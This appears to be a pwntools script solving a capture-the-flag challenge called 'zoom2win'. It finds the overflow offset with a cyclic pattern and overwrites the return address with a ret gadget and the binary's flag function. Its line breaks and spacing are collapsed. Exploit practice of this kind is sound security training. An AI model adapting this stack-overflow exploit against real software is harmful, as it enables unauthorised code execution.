from pwn import*# Allows you to switch between local/GDB/remote from terminaldefstart(argv=[],*a,**kw):if args.GDB:# Set GDBscript belowreturn gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)elif args.REMOTE:# ('server', 'port')returnremote(sys.argv[1], sys.argv[2], *a, **kw)else:# Run locallyreturnprocess([exe] + argv, *a, **kw)deffind_eip(payload):# Launch process and send payload p =process(exe) p.sendline(payload)# Wait for the process to crash p.wait()# Print out the address of EIP/RIP at the time of crashing eip_offset =cyclic_find(p.corefile.read(p.corefile.rsp, 4))info('located EIP offset at {a}'.format(a=eip_offset))# Return the EIP offsetreturn eip_offset# Specify GDB script here (breakpoints etc)gdbscript ='''init-pwndbgcontinue'''.format(**locals())# Set up pwntools for the correct architectureexe ='./zoom2win'# This will automatically get context arch, bits, os etcelf = context.binary =ELF(exe, checksec=False)# Enable verbose logging so we can see exactly what is being sent (info/debug)context.log_level ='debug'# ===========================================================# EXPLOIT GOES HERE# ===========================================================# Pass in pattern_size, get back EIP offsetoffset =find_eip(cyclic(100))ret =0x40101a# Ret gadget from ropper (stack alignment)# Start programio =start()# Build the payloadpayload =flat({offset: [ret, elf.symbols.flag]})# Save the payload to filewrite('payload', payload)# Send the payloadio.sendline(payload)io.recvline()# Get our flag!flag = io.recv()success(flag)